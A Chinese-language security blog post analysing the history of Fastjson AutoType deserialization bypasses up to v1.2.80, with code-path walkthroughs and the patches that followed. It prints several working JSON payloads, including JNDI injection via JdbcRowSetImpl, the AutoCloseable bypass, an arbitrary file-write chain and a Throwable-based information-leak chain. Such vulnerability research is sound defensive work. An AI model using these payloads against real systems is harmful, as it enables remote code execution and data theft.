★且听安全★-点关注，不迷路！
★漏洞空间站★-优质漏洞资源和小伙伴聚集地！
近期 Fastjson Develop Team 报告了 Fastjson v1.2.80 存在 AutoType 绕过反序列化漏洞，通报如下：
漏洞在特定条件下可以绕过默认关闭的 AutoType 限制，结合一个新的利用链，可实现 RCE 。
Fastjson 通过函数 `parse` 或者 `parseObject` 来完成字符串的反序列化操作，并且可以通过 `@type` 来指定反序列化的类型。Fastjson v1.2.24 可以通过 `JdbcRowSetImpl`来实现 JNDI 注入：
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/test","autoCommit":true}
Fastjson v1.2.25 推出了 AutoType 机制，在 `DefaultJSONParser` 中增加了 `checkAutoType` 检查：
`checkAutoType` 中存在黑白名单检查：
`autoTypeSupport` 默认为 `False` ，为了运行通过 `@type` 指定反序列化类型，正常情况下需要手动进行设置：
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);同时还存在黑名单校验：
所以 Fastjson 绕过历史可以分为 AutoType 机制绕过和黑名单绕过，绝大部分都是寻找一个新的利用链来绕过黑名单，所以 Fastjson 官方的黑名单列表越来越大，但是更有意义的绕过显然是 AutoType 机制绕过，这样无需手动配置 `autoTypeSupport` 也可能进行利用。
Payload 如下：
{"x": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"y": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://localhost:1389/test","autoCommit": true}}
在进入 `checkAutoType` 之前，会调用 `TypeUtils#addBaseClassMappings` 函数将常见类加载到缓存的 `mapping` 对象：
然后进入 `checkAutoType` ，因为 `autoTypeSupport` 默认为 `False` ，所以尝试从 `mapping` 或者 `deserializers.findClass` 中加载类：
通过 `deserializers#findClass` 可以找到 `java.lang.Class` 类，回到 `DefaultJSONParser` ，一直进入到第 358 行获取的 `deserializer` 对象为 `MiscCodec` 类型，一直往下走，通过函数 `deserialze` 开始反序列化操作：
通过 `parser.paese` 提取到 `objVal` 的值为 `com.sun.rowset.JdbcRowSetImpl` ，继续往下走，一直到达如下判断：
跟进 `TypeUtils.loadClass` ：
在 程序上下文环境中加载 `com.sun.rowset.JdbcRowSetImpl` 类型并加入到 `mapping` 中。由于我们 Payload 传入了 2 个 Json 对象，所以会再次调用 `checkAutoType` ：
此时在进行 AutoType 机制检查前已经返回了 `clazz` ：
所以实现了 AutoType 机制的绕过。在 v1.2.48 版本中将 `java.lang.Class` 加入了黑名单。
Payload 如下：
{"@type":"java.lang.AutoCloseable","@type":"oracle.jdbc.rowset.OracleJDBCRowSet","dataSourceName":"ldap://localhost:1389/test","command":"a"}
回到 `checkAutoType` 函数：
要想 `expectClassFlag` 取值为 `True` ，那么传入 `checkAutoType` 的 `expectClass` 类对象应该非空。第一次从 `parse` 调用 `checkAutoType` 时， `expectClass` 取值为 `null` ，继续往下走：
如果在缓存 `mapping` 中能够匹配到类， `checkAutoType` 将返回该类型对象， Payload 中用到的 `java.lang.AutoCloseable` 正好位于缓存 `mapping` 中（ `TypeUtils#addBaseClassMappings` ），
继续往下走：
因为 `clazz` 取值为 `java.lang.AutoCloseable` ：
所以获取的 `ObjectDeserializer` 对象为 `JavaBeanDeserializer` 类型，跟进 `JavaBeanDeserializer#deserialze` ：
会再次调用 `checkAutoType` ，此时会将第二个 `@type` 和 非空的 `expectClass` 传进去：
此时因为 `expectClass` 非空，所以绕过了 AuthType 检查机制。同时后面通过 `TypeUtils#loadClass` 加载类的过程中，调用了 `isAssignableFrom` ，用来判断反序列化的类是否实现了 `expectClass` 接口，如果是将返回反序列化类对象。`oracle.jdbc.rowset.OracleJDBCRowSet` 继承关系如下图所示：
后面实现 JNDI 注入的过程就不分析了。在 v1.2.51 版本的补丁中只是将 `oracle.jdbc.rowset.OracleJDBCRowSet` 添加进入了黑名单。
严格意义上讲 v1.2.68 不是真正的 AuthType 绕过。回顾前面的分析，由于 Fastjson 并未将 `java.lang.AutoCloseable` 加入黑名单，所以理论上只要再寻找一个类继承于 `java.lang.AutoCloseable` ，并且不在黑名单中，同时 get/set 中存在可利用的操作即可。Fastjson v1.2.68 绕过借助的类为 `sun.rmi.server.MarshalOutputStream` ，继承关系如下：
最终可以实现任意文件写入， Payload 如下：
{"@type": "java.lang.AutoCloseable","@type": "sun.rmi.server.MarshalOutputStream","out": {"@type": "java.util.zip.InflaterOutputStream","out": {"@type": "java.io.FileOutputStream","file": "/tmp/asdasd","append": true},"infl": {"input": {"array": "eJxLLE5JTCkGAAh5AnE=","limit": 14}},"bufLen": "100"},"protocolVersion": 1}
AuthType 绕过过程与 v1.2.50 一样，触发任意文件写入的过程就不分析了。v1.2.69 版本终于将 `java.lang.AutoCloseable` 加入了黑名单，那么 v1.2.50 和 v1.2.68 的绕过方式也就无效了。
回顾 v1.2.50 和 v1.2.68 的绕过方式，主要是在 `ObjectDeserializer` 接口的子类 `JavaBeanDeserializer` 中存在 `expectClass` 非空的 `checkAutoType` 调用，这也是绕过的关键。顺着这个思路，我们继续在 `ObjectDeserializer` 接口的其他子类中寻找 `expectClass` 非空的 `checkAutoType` 调用：
除了 `JavaBeanDeserializer` 之外，在子类 `ThrowableDeserializer` 的函数 `deserialze` 中也存在满足条件的调用：
从 `expressClass` 定义来看，利用链类型必须继承于 `Throwable` 。我们可以构造如下测试来调试一下解析过程 （`java.lang.Exception` 继承于 `Throwable`）：
{"@type":"java.lang.Exception","@type":"test","a":"test"}
第一次进入 `checkAutoType` 函数， `expressClass` 参数为空：
尝试从缓存 `mapping` 中实例化 `clazz` (`TypeUtils#addBaseClassMappings` 已经将 `java.lang.Exception` 加入了 `mapping` )：
往下走 `getDeserializer` 返回的 `ObjectDeserializer` 为 `ThrowableDeserializer` 类型：
进入 `ThrowableDeserializer#deserialze` ，顺利到达 `checkAutoType`：
与前面分析的绕过类似，第二次进入 `checkAutoType` 时， `expressClass` 取值非空，从而实现绕过。
其实这种绕过方式在 2020 年就已经有大佬放出来了：
{"x":{"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"},"y":{"$ref":"$x.systemInformation"}}
这是一个信息泄露的利用链，这条链的分析网上已经不少了，这里就不重复了。最近官方通报漏洞应该是有人找到了能够 RCE 的利用链，查看 v1.2.81 的黑名单可以看到新增了不少 hash （但是还没分析出来是哪个链
，研究出来了再分享给大家吧~）。
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，且听安全团队及文章作者不为此承担任何责任。
★且听安全★-点关注，不迷路！
★漏洞空间站★-优质漏洞资源和小伙伴聚集地！
原文始发于微信公众号（且听安全）：Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析
